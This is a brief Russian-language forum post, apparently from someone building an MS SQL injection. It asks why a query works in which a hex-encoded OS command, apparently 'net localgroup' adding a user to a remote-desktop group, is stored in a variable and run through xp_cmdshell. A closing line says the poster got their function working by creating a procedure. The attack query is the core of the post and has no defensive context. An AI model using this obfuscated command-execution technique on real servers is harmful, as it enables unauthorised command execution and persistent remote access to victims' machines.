Если не работает хекс, то почему тогда срабатывает запрос вида :
declare @net_grouprdp_add varchar(8000) select @net_grouprdp_add=0x6e6574206c........;exec master..xp_cmdshell @net_grouprdp_add;

----
С функцией я разобрался. Создал процедуру.